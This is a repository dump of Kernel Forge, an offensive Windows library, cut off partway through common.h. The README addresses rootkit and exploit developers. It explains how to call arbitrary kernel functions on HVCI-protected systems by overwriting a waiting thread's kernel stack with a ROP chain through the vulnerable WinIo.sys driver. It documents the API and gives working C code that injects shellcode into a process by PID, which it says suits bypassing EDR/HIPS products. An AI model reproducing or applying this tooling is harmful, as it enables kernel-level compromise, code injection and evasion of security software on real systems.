├── README.MD
├── common
├── common.cpp
├── common.h
├── debug.cpp
├── debug.h
├── ntdll_defs.h
├── ntdll_undocnt.h
├── peimage.cpp
├── peimage.h
├── service.cpp
├── service.h
└── virtmem.h
├── dll_inject_shellcode.cpp
├── dll_inject_shellcode.h
├── docs
└── images
│ ├── kforge_example.png
│ ├── rop_gadget.png
│ ├── vtl_kernel_functions.png
│ └── winio_signature.png
├── dummy.dll
├── dummy.pdb
├── dummy
├── dummy.cpp
├── dummy.vcxproj
├── dummy.vcxproj.filters
├── stdafx.cpp
├── stdafx.h
└── targetver.h
├── include
├── kforge_driver.h
└── kforge_library.h
├── kforge.dll
├── kforge.pdb
├── kforge.sln
├── kforge
├── kforge.cpp
├── kforge.def
├── kforge.vcxproj
├── kforge.vcxproj.filters
├── stdafx.h
└── targetver.h
├── kforge_driver.lib
├── kforge_driver
├── kforge_driver.cpp
├── kforge_driver.vcxproj
├── kforge_driver.vcxproj.filters
├── pre_build.bat
├── stdafx.h
├── winio.cpp
└── winio.h
├── kforge_example.exe
├── kforge_example.pdb
├── kforge_example
├── func_order.txt
├── kforge_example.cpp
├── kforge_example.vcxproj
├── kforge_example.vcxproj.filters
├── stdafx.cpp
├── stdafx.h
└── targetver.h
├── kforge_library.lib
├── kforge_library
├── kforge_library.cpp
├── kforge_library.vcxproj
├── kforge_library.vcxproj.filters
└── stdafx.h
├── tools
└── make_header.py
└── winio.sys
/README.MD:
--------------------------------------------------------------------------------
1 |
2 | # Kernel Forge library for Windows
3 |
4 | [General information](#general-information)
5 | [Contents](#contents)
6 | [How does it work](#how-does-it-work)
7 | [Kernel Forge API](#kernel-forge-api)
8 | [Usage example](#usage-example)
9 | [Interfacing Secure Kernel with Kernel Forge](#interfacing-secure-kernel-with-kernel-forge)
10 |
11 | ## General information
12 |
13 | Today more and more Windows machines comes with VBS enabled by default which forces rootkits and kernel exploits developers to accept new challenges. [Windows Virtualization-based Security (VBS)](https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs) uses hardware virtualization features and Hyper-V to host a number of security services, providing them with greatly increased protection from vulnerabilities in the operating system, and preventing the use of malicious exploits which attempt to defeat protections. One of such services is [Hypervisor-Enforced Code Integrity (HVCI)](https://docs.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity) that uses VBS to significantly strengthen code integrity policy enforcement.
14 |
15 | * **Q1:** On HVCI enabled target I can't execute my own kernel code anymore, even with most awesome local privileges escalation kernel exploit that gives powerful arbitrary memory read write primitives.
16 |
17 | * **A1:** You can use data only attack to overwrite process token, gain Local System and load any legitimate 3-rd party WHQL signed driver that provides an access to I/O ports, physical memory and MSR registers.
18 |
19 | * **Q2:** But what if I want to call an arbitrary kernel functions with arbitrary arguments?
20 |
21 | * **A2:** That's why I made Kernel Forge library, it provides convenient API for this exact purpose.
22 |
23 | Kernel Forge consists from two main components: the first library implements main functionality required to call an arbitrary kernel functions and the second library used to delegate arbitrary memory read write primitives: it can be local privileges escalation exploit or just some wrapper around 3-rd party WHQL signed loldriver. For this project I'm using `WinIo.sys` variation that provides full physical memory access and works just fine even with enabled HVCI:
24 |
25 |
26 |
27 |
28 | ## Contents
29 |
30 | Kernel Forge code base consists from the following files:
31 |
32 | * `kforge_driver/` − Static library of `WinIo.sys` driver wrapper that provides memory read/write API.
33 |
34 | * `kforge_library/` − Static library that implements main functionality of the Kernel Forge.
35 |
36 | * `kforge/` − DLL version of the Kernel Forge library for its interfacing with different languages using CFFI.
37 |
38 | * `include/kforge_driver.h` − `kforge_driver.lib` program interface.
39 |
40 | * `include/kforge_library.h` − `kforge_library.lib` program interface.
41 |
42 | * `kforge_example/` − An example program that uses `kforge_library.lib` API to perform a classical kernel mode to user mode DLL injection attack.
43 |
44 | * `dll_inject_shellcode.cpp`/`dll_inject_shellcode.h` − Shellcode used by `kforge_example.exe` to handle injected DLL image imports and do other things.
45 |
46 | * `dummy/` − Dummy DLL project to use with `kforge_example.exe` that shows message box after its injection into some process.
47 |
48 |
49 | ## How does it work
50 |
51 | The idea behind Kernel Forge is very simple, there's no any innovative exploitation techniques, just common things already known for security researches but in more convenient form of the library to use it with 3-rd party projects.
52 |
53 | Many kernel mode payloads can be considered just as sequence of function calls, but as long as we can't have any attacker controlled executable code in kernel space because of HVCI, Kernel Forge uses the following approach to perform such kernel function calls from user mode:
54 |
55 | 1. Create new event object and new dummy thread that calls `WaitForSingleObject()` on this event to switch itself into the wait state. At this moment dummy thread call stack has the following look:
56 |
57 | ```
58 | Child-SP RetAddr Call Site
59 | fffff205`b0bfa660 fffff805`16265850 nt!KiSwapContext+0x76
60 | fffff205`b0bfa7a0 fffff805`16264d7f nt!KiSwapThread+0x500
61 | fffff205`b0bfa850 fffff805`16264623 nt!KiCommitThreadWait+0x14f
62 | fffff205`b0bfa8f0 fffff805`1662cae1 nt!KeWaitForSingleObject+0x233
63 | fffff205`b0bfa9e0 fffff805`1662cb8a nt!ObWaitForSingleObject+0x91
64 | fffff205`b0bfaa40 fffff805`164074b5 nt!NtWaitForSingleObject+0x6a
65 | fffff205`b0bfaa80 00007ffc`f882c6a4 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ fffff205`b0bfaa80)
66 | 00000094`169ffce8 00007ffc`f630a34e ntdll!NtWaitForSingleObject+0x14
67 | 00000094`169ffcf0 00007ff6`66d72edd KERNELBASE!WaitForSingleObjectEx+0x8e
68 | 00000094`169ffd90 00000000`00000000 kforge_example!DummyThread+0xd
69 | ```
70 |
71 | 2. Meanwhile, main thread uses `NtQuerySystemInformation()` native API function with `SystemHandleInformation` information class to find dummy thread `_KTHREAD` structure address.
72 |
73 | 3. Arbitrary memory read primitive is used to obtain `StackBase` and `KernelStack` fields of `_KTHREAD` structure that keeps an information about dummy thread kernel stack location.
74 |
75 | 4. Arbitrary memory read primitive is used to traverse dummy thread kernel stack starting from its bottom to locate return address from `nt!NtWaitForSingleObject()` back to the `nt!KiSystemServiceCopyEnd()` function of system calls dispatcher.
76 |
77 | 5. Then Kernel Forge constructs some ROP chain to call desired kernel function with specified arguments, save its return value into the user mode memory and pass execution to `nt!ZwTerminateThread()` for graceful shutdown of dummy thread after the ROP chain execution. Arbitrary memory write primitive is used to overwrite previously located return address with an address of the first ROP gadget:
78 |
79 |
80 |
81 | 6. And finally, Kernel Forge main thread sets event object to signaled state which resumes dummy thread and triggers ROP chain execution.
82 |
83 | As you can see, it's pretty reliable technique with no any magic involved. Of course, this approach has a plenty of obvious limitations:
84 |
85 | * You can't use Kernel Forge to call `nt!KeStackAttachProcess()` function that changes current process address space.
86 |
87 | * You can execute your calls at passive IRQL level only.
88 |
89 | * You can't call any functions that registers kernel mode callbacks, like `nt!IoSetCompletionRoutine()`, `nt!
90 | PsSetCreateProcessNotifyRoutine()` and others.
91 |
92 | In addition, `kforge_driver.lib` is relying on `WinIo.sys` driver that provides only physical memory access. To achieve virtual memory access having this we need to find PML4 page map location of the kernel virtual address space. Currently I'm using `PROCESSOR_START_BLOCK` structure scan approach to get PML4 address from one of its fields. However, `PROCESSOR_START_BLOCK` is not present on machines with legacy boot, but this fact is rather not a real problem because you can't have HVCI support on such machines due to its strict requirements.
93 |
94 | However, even with mentioned limitations you still can develop pretty much useful kernel mode payloads for HVCI enabled targets. On the picture you can see `kforge_example.exe` utility that calls appropriate kernel functions with `kfroge_library.lib` API to perform DLL injection into the user mode process with `KernelMode` value of the `KPROCESSOR_MODE` which might be suitable for EDR/HIPS security products bypass:
95 |
96 |
97 |
98 |
99 | ## Kernel Forge API
100 |
101 | Kernel Forge library provides the following C API:
102 |
103 | ```C++
104 | /**
105 | * Initialize Kernel Forge library: reads kernel image into the user mode memory,
106 | * finds needed ROP gadgets, etc, etc.
107 | *
108 | * @return TRUE if success or FALSE in case of error.
109 | */
110 | BOOL KfInit(void);
111 | ```
112 |
113 | ```C++
114 | /**
115 | * Uninitialize Kernel Forge library when you don't need to use its API anymore.
116 | *
117 | * @return TRUE if success and FALSE in case of error.
118 | */
119 | BOOL KfUninit(void);
120 | ```
121 |
122 | ```C++
123 | /**
124 | * Call kernel function by its name, it can be exported ntoskrnl.exe function
125 | * or not exported Zw function.
126 | *
127 | * @param lpszProcName Name of the function to call.
128 | * @param Args Array with its arguments.
129 | * @param dwArgsCount Number of the arguments.
130 | * @param pRetVal Pointer to the variable that receives return value of the function.
131 | * @return TRUE if success or FALSE in case of error.
132 | */
133 | BOOL KfCall(char *lpszProcName, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal);
134 | ```
135 |
136 | ```C++
137 | /**
138 | * Call an arbitrary function by its kernel address.
139 | *
140 | * @param ProcAddr Address of the function to call.
141 | * @param Args Array with its arguments.
142 | * @param dwArgsCount Number of the arguments.
143 | * @param pRetVal Pointer to the variable that receives return value of the function.
144 | * @return TRUE if success or FALSE in case of error.
145 | */
146 | BOOL KfCallAddr(PVOID ProcAddr, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal);
147 | ```
148 |
149 | ```C++
150 | /**
151 | * Get system call number by appropriate ntdll native API function name.
152 | *
153 | * @param lpszProcName Name of the function.
154 | * @param pdwRet Pointer to the variable that receives system call number.
155 | * @return TRUE if success or FALSE in case of error.
156 | */
157 | BOOL KfGetSyscallNumber(char *lpszProcName, PDWORD pdwRet);
158 | ```
159 |
160 | ```C++
161 | /**
162 | * Get an actual kernel address of the function exported by ntoskrnl.exe image.
163 | *
164 | * @param lpszProcName Name of exported function.
165 | * @return Address of the function or NULL in case of error.
166 | */
167 | PVOID KfGetKernelProcAddress(char *lpszProcName);
168 | ```
169 |
170 | ```C++
171 | /**
172 | * Get an actual kernel address of not exported Zw function of ntoskrnl.exe image
173 | * using signature based search.
174 | *
175 | * @param lpszProcName Name of Zw function to search for.
176 | * @return Address of the function or NULL in case of error.
177 | */
178 | PVOID KfGetKernelZwProcAddress(char *lpszProcName);
179 | ```
180 |
181 | ```C++
182 | /**
183 | * Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate
184 | * specified amount of non paged kernel heap memory.
185 | *
186 | * @param Size Number of bytes to allocate.
187 | * @return Kernel address of allocated memory or NULL in case of error.
188 | */
189 | PVOID KfHeapAlloc(SIZE_T Size);
190 | ```
191 |
192 | ```C++
193 | /**
194 | * Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate
195 | * specified amount of non paged kernel heap memory and copy specified data from
196 | * the user mode into the allocated memory.
197 | *
198 | * @param Size Number of bytes to allocate.
199 | * @param Data Data to copy into the allocated memory.
200 | * @return Kernel address of allocated memory or NULL in case of error.
201 | */
202 | PVOID KfHeapAllocData(SIZE_T Size, PVOID Data);
203 | ```
204 |
205 | ```C++
206 | /**
207 | * Wrapper that uses KfCall() to execute nt!ExFreePool() function to free the memory
208 | * that was allocated by KfHeapAlloc() or KfHeapAllocData() functions.
209 | *
210 | * @param Addr Address of the memory to free.
211 | */
212 | void KfHeapFree(PVOID Addr);
213 | ```
214 |
215 | ```C++
216 | /**
217 | * Wrapper that uses KfCall() to execute nt!memcpy() function to copy arbitrary data
218 | * between kernel mode and user mode or vice versa.
219 | *
220 | * @param Dst Address of the destination memory.
221 | * @param Src Address of the source memory.
222 | * @param Size Number of bytes to copy.
223 | * @return Destination memory address if success or NULL in case of error.
224 | */
225 | PVOID KfMemCopy(PVOID Dst, PVOID Src, SIZE_T Size);
226 | ```
227 |
228 | ```C++
229 | /**
230 | * Wrapper that uses KfCall() to execute nt!memset() function to fill memory region
231 | * with specified character.
232 | *
233 | * @param Dst Address of the destination memory.
234 | * @param Val Character to fill.
235 | * @param Size Number of bytes to fill.
236 | * @return Destination memory address if success or NULL in case of error.
237 | */
238 | PVOID KfMemSet(PVOID Dst, int Val, SIZE_T Size);
239 | ```
240 |
241 | To use Kernel Forge with your own loldriver or kernel exploit you just need to implement a custom version of `kforge_driver.lib` library with fairly simple program interface.
242 |
243 |
244 | ## Usage example
245 |
246 | Here you can see a bit simplified C code that uses Kernel Forge API to inject caller specified shellcode into the user mode process by its PID:
247 |
248 | ```C++
249 | BOOL ShellcodeInject(HANDLE ProcessId, PVOID Shellcode, SIZE_T ShellcodeSize)
250 | {
251 | BOOL bRet = FALSE;
252 | DWORD_PTR Status = 0;
253 | HANDLE hProcess = NULL, hThread = NULL;
254 | SIZE_T MemSize = ShellcodeSize;
255 | PVOID MemAddr = NULL;
256 |
257 | CLIENT_ID ClientId;
258 | OBJECT_ATTRIBUTES ObjAttr;
259 |
260 | InitializeObjectAttributes(&ObjAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
261 |
262 | ClientId.UniqueProcess = ProcessId;
263 | ClientId.UniqueThread = NULL;
264 |
265 | // initialize Kernel Forge library
266 | if (!KfInit())
267 | {
268 | goto _end;
269 | }
270 |
271 | PVOID Args_1[] = { KF_ARG(&hProcess), // ProcessHandle
272 | KF_ARG(PROCESS_ALL_ACCESS), // DesiredAccess
273 | KF_ARG(&ObjAttr), // ObjectAttributes
274 | KF_ARG(&ClientId) }; // ClientId
275 |
276 | // open the target process by its PID
277 | if (!KfCall("ZwOpenProcess", Args_1, 4, KF_RET(&Status)))
278 | {
279 | goto _end;
280 | }
281 |
282 | if (NT_ERROR(Status))
283 | {
284 | goto _end;
285 | }
286 |
287 | PVOID Args_2[] = { KF_ARG(hProcess), // ProcessHandle
288 | KF_ARG(&MemAddr), // BaseAddress
289 | KF_ARG(0), // ZeroBits
290 | KF_ARG(&MemSize), // RegionSize
291 | KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType
292 | KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect
293 |
294 | // allocate memory for the shellcode
295 | if (!KfCall("ZwAllocateVirtualMemory", Args_2, 6, KF_RET(&Status)))
296 | {
297 | goto _end;
298 | }
299 |
300 | if (NT_ERROR(Status))
301 | {
302 | goto _end;
303 | }
304 |
305 | PVOID Args_3[] = { KF_ARG(hProcess), // ProcessHandle
306 | KF_ARG(MemAddr), // BaseAddress
307 | KF_ARG(Shellcode), // Buffer
308 | KF_ARG(ShellcodeSize), // NumberOfBytesToWrite
309 | KF_ARG(NULL) }; // NumberOfBytesWritten
310 |
311 | // copy shellcode data into the allocated memory
312 | if (!KfCall("ZwWriteVirtualMemory", Args_3, 5, KF_RET(&Status)))
313 | {
314 | goto _end;
315 | }
316 |
317 | if (NT_ERROR(Status))
318 | {
319 | goto _end;
320 | }
321 |
322 | PVOID Args_4[] = { KF_ARG(hProcess), // ProcessHandle
323 | KF_ARG(NULL), // SecurityDescriptor
324 | KF_ARG(FALSE), // CreateSuspended
325 | KF_ARG(0), // StackZeroBits
326 | KF_ARG(NULL), // StackReserved
327 | KF_ARG(NULL), // StackCommit
328 | KF_ARG(MemAddr), // StartAddress
329 | KF_ARG(NULL), // StartParameter
330 | KF_ARG(&hThread), // ThreadHandle
331 | KF_ARG(&ClientId) }; // ClientId
332 |
333 | // create new thread to execute the shellcode
334 | if (!KfCall("RtlCreateUserThread", Args_4, 10, KF_RET(&Status)))
335 | {
336 | goto _end;
337 | }
338 |
339 | if (NT_SUCCESS(Status))
340 | {
341 | // shellcode was successfully injected
342 | bRet = TRUE;
343 | }
344 |
345 | _end:
346 |
347 | // uninitialize Kernel Forge library
348 | KfUninit();
349 |
350 | return bRet;
351 | }
352 | ```
353 |
354 | For more complete example please refer to the `kforge_example.exe` source code.
355 |
356 |
357 | ## Interfacing Secure Kernel with Kernel Forge
358 |
359 | On VBS/HVCI enabled machines Hyper-V functionality is employed to logically divide the system into the two separate "worlds": normal world (VTL0) running a regular NT kernel (ntoskrnl) that we’re all familiar with and isolated secure world (VTL1) running a Secure Kernel (SK). To learn more about VBS/HVCI internals I can recommend you the following materials:
360 |
361 | * [Live forensics on the Windows 10 secure kernel](https://www.semanticscholar.org/paper/Live-forensics-on-the-Windows-10-secure-kernel.-Brendmo/e275cc28c5c8e8e158c45e5e773d0fa3da01e118) by Hans Kristian Brendmo
362 |
363 | * [Work Package 6: Virtual Secure Mode](https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/SiSyPHus/Workpackage6_Virtual_Secure_Mode.pdf?__blob=publicationFile&v=2) by [The BSI](https://www.bsi.bund.de/EN/TheBSI/thebsi_node.html)
364 |
365 | * [Battle Of The SKM And IUM: How Windows 10 Rewrites OS Architecture](https://www.youtube.com/watch?v=LqaWIn4y26E) by [Alex Ionescu](https://twitter.com/aionescu)
366 |
367 | * [Breaking VSM by Attacking Secure Kernel](https://i.blackhat.com/USA-20/Thursday/us-20-Amar-Breaking-VSM-By-Attacking-SecureKernal.pdf) by [Saar Amar](https://twitter.com/AmarSaar) and [Daniel King](https://twitter.com/long123king)
368 |
369 | Also, have a look at my Hyper-V backdoor project that allows to bypass HCVI, load custom kernel drivers in VTL1, run 3-rd party trustlets in Isolated User Mode (IUM) and do many others things.
370 |
371 | To communicate with Secure Kernel ntoskrnl uses special VTL0 to VTL1 hypercalls documented in [Hyper-V Hypervisor Top-Level Functional Specification](https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/reference/tlfs) which are performed by `nt!HvlSwitchToVsmVtl1()` helper function. This not exported function is used by dozens of others not exported ntoskrnl functions to perform various actions, most of them has `Vsl` prefix:
372 |
373 |
374 |
375 | This set of `Vsl` functions exposes particularly interesting attack surface for fuzzing and exploitation of VTL1 and Secure Kernel isolated environment. Using Kernel Forge you can call this functions from user mode program without use of any complicated and not very convenient solutions like my Hyper-V backdoor or QEMU based debugger. To interact with Secure Kernel by calling `Vsl` functions of NT kernel it's more suitable to use `kforge.dll` from Python code with [ctypes library](https://docs.python.org/3/library/ctypes.html) as foreign functions interface and something like [pdbparse](https://github.com/moyix/pdbparse) to extract not exported functions addresses from debug symbols.
376 |
377 |
378 | ## TODO
379 |
380 | * At this moment Kernel Forge has no support of chained calls, ie., single shot of the dummy thread can execute only one user specified kernel function. However, thread kernel stack has enough of free space to fit more ROP gadgets which might allow to perform multiple calls as single sequence. Such feature might be used to call various kernel functions designed to work in pair (like `KeStackAttachProcess`/`KeUnstackDetachProcess`, `KeRaiseIrql`/`KeLowerIrql`, etc.) and overcome some of the limitations described above.
381 |
382 |
383 | ## Developed by
384 |
385 | Dmytro Oleksiuk (aka Cr4sh)
386 |
387 | cr4sh0@gmail.com
388 | http://blog.cr4.sh
389 | [@d_olex](http://twitter.com/d_olex)
390 |
--------------------------------------------------------------------------------
/common/common.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | //--------------------------------------------------------------------------------------
3 | char *GetNameFromFullPath(char *lpszPath)
4 | {
5 | char *lpszName = lpszPath;
6 |
7 | for (size_t i = 0; i < strlen(lpszPath); i++)
8 | {
9 | if (lpszPath[i] == '\\' || lpszPath[i] == '/')
10 | {
11 | lpszName = lpszPath + i + 1;
12 | }
13 | }
14 |
15 | return lpszName;
16 | }
17 | //--------------------------------------------------------------------------------------
18 | BOOL ReadFromFile(HANDLE hFile, PVOID *pData, PDWORD pdwDataSize)
19 | {
20 | BOOL bRet = FALSE;
21 |
22 | DWORD dwDataSizeHigh = 0;
23 | DWORD dwDataSize = GetFileSize(hFile, &dwDataSizeHigh);
24 | if (dwDataSize > 0)
25 | {
26 | if (dwDataSizeHigh != 0)
27 | {
28 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: File is too large\n");
29 | return FALSE;
30 | }
31 |
32 | PVOID Data = M_ALLOC(dwDataSize);
33 | if (Data)
34 | {
35 | DWORD dwReaded = 0;
36 |
37 | SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
38 |
39 | if (ReadFile(hFile, Data, dwDataSize, &dwReaded, NULL))
40 | {
41 | *pData = Data;
42 | *pdwDataSize = dwDataSize;
43 |
44 | bRet = TRUE;
45 | }
46 | else
47 | {
48 | DbgMsg(__FILE__, __LINE__, "ReadFile() ERROR %d\n", GetLastError());
49 |
50 | M_FREE(Data);
51 | }
52 | }
53 | else
54 | {
55 | DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError());
56 | }
57 | }
58 | else
59 | {
60 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): File is empty\n");
61 | }
62 |
63 | return bRet;
64 | }
65 |
66 | BOOL ReadFromFile(LPCTSTR lpszFileName, PVOID *pData, PDWORD pdwDataSize)
67 | {
68 | BOOL bRet = FALSE;
69 |
70 | // open file for reading
71 | HANDLE hFile = CreateFile(
72 | lpszFileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
73 | NULL, OPEN_EXISTING, 0, NULL
74 | );
75 | if (hFile != INVALID_HANDLE_VALUE)
76 | {
77 | if (pData == NULL || pdwDataSize == NULL)
78 | {
79 | // just check for existing file
80 | bRet = TRUE;
81 | }
82 | else
83 | {
84 | // read data from the file
85 | bRet = ReadFromFile(hFile, pData, pdwDataSize);
86 | }
87 |
88 | CloseHandle(hFile);
89 | }
90 | else
91 | {
92 | DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\n", GetLastError());
93 | }
94 |
95 | return bRet;
96 | }
97 | //--------------------------------------------------------------------------------------
98 | BOOL DumpToFile(HANDLE hFile, PVOID Data, DWORD dwDataSize)
99 | {
100 | BOOL bRet = FALSE;
101 | DWORD dwWritten = 0;
102 |
103 | // write starting from the beginning of the file
104 | SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
105 |
106 | if (WriteFile(hFile, Data, dwDataSize, &dwWritten, NULL))
107 | {
108 | SetEndOfFile(hFile);
109 | bRet = TRUE;
110 | }
111 | else
112 | {
113 | DbgMsg(__FILE__, __LINE__, "WriteFile() ERROR %d\n", GetLastError());
114 | }
115 |
116 | return bRet;
117 | }
118 |
119 | BOOL DumpToFile(char *lpszFileName, PVOID Data, DWORD dwDataSize)
120 | {
121 | BOOL bRet = FALSE;
122 |
123 | // open file for writing
124 | HANDLE hFile = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
125 | if (hFile != INVALID_HANDLE_VALUE)
126 | {
127 | // write data to the file
128 | bRet = DumpToFile(hFile, Data, dwDataSize);
129 | CloseHandle(hFile);
130 | }
131 | else
132 | {
133 | DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\n", GetLastError());
134 | }
135 |
136 | return bRet;
137 | }
138 | //--------------------------------------------------------------------------------------
139 | int LoadPrivileges(char *lpszName)
140 | {
141 | BOOL bRet = FALSE;
142 | HANDLE hToken = NULL;
143 | TOKEN_PRIVILEGES Privs;
144 | LUID Luid;
145 |
146 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
147 | {
148 | DbgMsg(__FILE__, __LINE__, "OpenProcessToken() ERROR %d\n", GetLastError());
149 | goto _end;
150 | }
151 |
152 | if (!LookupPrivilegeValueA(NULL, lpszName, &Luid))
153 | {
154 | DbgMsg(__FILE__, __LINE__, "LookupPrivilegeValue() ERROR %d\n", GetLastError());
155 | goto _end;
156 | }
157 |
158 | Privs.PrivilegeCount = 1;
159 | Privs.Privileges[0].Luid = Luid;
160 | Privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
161 |
162 | if (!AdjustTokenPrivileges(hToken, FALSE, &Privs, sizeof (Privs), NULL, NULL))
163 | {
164 | DbgMsg(__FILE__, __LINE__, "AdjustTokenPrivileges() ERROR %d\n", GetLastError());
165 | goto _end;
166 | }
167 |
168 | bRet = TRUE;
169 |
170 | _end:
171 |
172 | if (hToken)
173 | {
174 | CloseHandle(hToken);
175 | }
176 |
177 | return bRet;
178 | }
179 | //--------------------------------------------------------------------------------------
180 | PVOID GetSystemInformation(SYSTEM_INFORMATION_CLASS InfoClass)
181 | {
182 | NTSTATUS Status = 0;
183 | ULONG RetSize = 0, Size = 0x100;
184 | PVOID Info = NULL;
185 |
186 | GET_NATIVE(NtQuerySystemInformation);
187 |
188 | if (f_NtQuerySystemInformation == NULL)
189 | {
190 | DbgMsg(__FILE__, __LINE__, "ERROR: Unable to obtain needed functions\n");
191 | return NULL;
192 | }
193 |
194 | while (true)
195 | {
196 | RetSize = 0;
197 |
198 | // allocate memory for system information
199 | if ((Info = M_ALLOC(Size)) == NULL)
200 | {
201 | DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError());
202 | return NULL;
203 | }
204 |
205 | // query information
206 | if ((Status = f_NtQuerySystemInformation(InfoClass, Info, Size, &RetSize)) == STATUS_INFO_LENGTH_MISMATCH)
207 | {
208 | // buffer is too small
209 | M_FREE(Info);
210 |
211 | // allocate more memory and try again
212 | Size = RetSize + 0x100;
213 | }
214 | else
215 | {
216 | break;
217 | }
218 | }
219 |
220 | if (!NT_SUCCESS(Status))
221 | {
222 | DbgMsg(__FILE__, __LINE__, "NtQuerySystemInformation() ERROR 0x%.8x\n", Status);
223 |
224 | if (Info)
225 | {
226 | // cleanup
227 | M_FREE(Info);
228 | }
229 |
230 | return NULL;
231 | }
232 |
233 | return Info;
234 | }
235 | //--------------------------------------------------------------------------------------
236 | DWORD GetThreadState(DWORD dwProcessId, DWORD dwThreadId)
237 | {
238 | DWORD Ret = -1;
239 |
240 | // query processes and threads information
241 | PSYSTEM_PROCESS_INFORMATION ProcessInfo =
242 | (PSYSTEM_PROCESS_INFORMATION)GetSystemInformation(SystemProcessInformation);
243 |
244 | if (ProcessInfo)
245 | {
246 | PSYSTEM_PROCESS_INFORMATION Info = ProcessInfo;
247 |
248 | while (true)
249 | {
250 | // check for desired process
251 | if (Info->UniqueProcessId == (HANDLE)dwProcessId)
252 | {
253 | // enumerate treads
254 | for (DWORD i = 0; i < Info->NumberOfThreads; i += 1)
255 | {
256 | // check for desired thread
257 | if (Info->Threads[i].ClientId.UniqueThread == (HANDLE)dwThreadId)
258 | {
259 | Ret = Info->Threads[i].ThreadState;
260 | goto _end;
261 | }
262 | }
263 |
264 | break;
265 | }
266 |
267 | if (Info->NextEntryOffset == 0)
268 | {
269 | // end of the list
270 | break;
271 | }
272 |
273 | // go to the next process info entry
274 | Info = (PSYSTEM_PROCESS_INFORMATION)RVATOVA(Info, Info->NextEntryOffset);
275 | }
276 | _end:
277 | M_FREE(ProcessInfo);
278 | }
279 |
280 | return Ret;
281 | }
282 | //--------------------------------------------------------------------------------------
283 | PVOID GetObjectAddress(HANDLE hObject)
284 | {
285 | PVOID Ret = NULL;
286 |
287 | // query all system handles information
288 | PSYSTEM_HANDLE_INFORMATION HandleInfo =
289 | (PSYSTEM_HANDLE_INFORMATION)GetSystemInformation(SystemHandleInformation);
290 |
291 | if (HandleInfo)
292 | {
293 | for (DWORD i = 0; i < HandleInfo->NumberOfHandles; i += 1)
294 | {
295 | // lookup for pointer to the our object
296 | if (HandleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
297 | HandleInfo->Handles[i].HandleValue == (USHORT)hObject)
298 | {
299 | Ret = HandleInfo->Handles[i].Object;
300 | break;
301 | }
302 | }
303 |
304 | M_FREE(HandleInfo);
305 | }
306 |
307 | return Ret;
308 | }
309 | //--------------------------------------------------------------------------------------
310 | // EoF
311 |
--------------------------------------------------------------------------------
/common/common.h:
--------------------------------------------------------------------------------
1 |
2 | #define RVATOVA(_base_, _offset_) ((PUCHAR)(_base_) + (ULONG)(_offset_))
3 |
4 | // numeric values alignment
5 | #define _ALIGN_DOWN(_val_, _align_) ((_val_) & ~((_align_) - 1))
6 | #define _ALIGN_UP(_val_, _align_) (((_val_) & ((_align_) - 1)) ? _ALIGN_DOWN((_val_), (_align_)) + (_align_) : (_val_))
7 |
8 | #define _HI_DWORD(_qw_) ((ULONG)(((ULONG64)(_qw_) >> 32) & 0xffffffff))
9 | #define _LO_DWORD(_qw_) ((ULONG)(ULONG64)(_qw_))
10 |
11 | #define _LO_WORD(_dw_) ((USHORT)(((ULONG)(_dw_)) & 0xffff))
12 | #define _HI_WORD(_dw_) ((USHORT)((((ULONG)(_dw_)) >> 16) & 0xffff))
13 |
14 | #define _LO_BYTE(_w_) ((UCHAR)(((ULONG)(_w_)) & 0xff))
15 | #define _HI_BYTE(_w_) ((UCHAR)((((ULONG)(_w_)) >> 8) & 0xff))
16 |
17 | // heap allocation functions
18 | #define M_ALLOC(_size_) LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, (_size_))
19 | #define M_FREE(_addr_) LocalFree((_addr_))
20 |
21 | #define TIME_ABSOLUTE(_t_) (_t_)
22 | #define TIME_RELATIVE(_t_) (-(_t_))
23 |
24 | // waitable timers macro definitions
25 | #define TIME_NANOSECONDS(_t_) (((signed __int64)(_t_)) / 100L)
26 | #define TIME_MICROSECONDS(_t_) (((signed __int64)(_t_)) * TIME_NANOSECONDS(1000L))
27 | #define TIME_MILLISECONDS(_t_) (((signed __int64)(_t_)) * TIME_MICROSECONDS(1000L))
28 | #define TIME_SECONDS(_t_) (((signed __int64)(_t_)) * TIME_MILLISECONDS(1000L))
29 |
30 | // atomic access wrappers
31 | #define INTERLOCKED_INC(_addr_) InterlockedIncrement((LONG *)(_addr_))
32 | #define INTERLOCKED_GET(_addr_) InterlockedExchangeAdd((LONG *)(_addr_), 0)
33 | #define INTERLOCKED_SET(_addr_, _val_) InterlockedExchange((LONG *)(_addr_), (LONG)(_val_))
34 |
35 | #ifdef _X86_
36 |
37 | #define INTERLOCKED_PTR_GET(_addr_) INTERLOCKED_GET(_addr_)
38 | #define INTERLOCKED_PTR_SET(_addr_, _val_) INTERLOCKED_PTR_SET(_addr_, _val_)
39 |
40 | #else _AMD64_
41 |
42 | #define INTERLOCKED_PTR_GET(_addr_) InterlockedExchangeAdd64((LONGLONG *)(_addr_), 0)
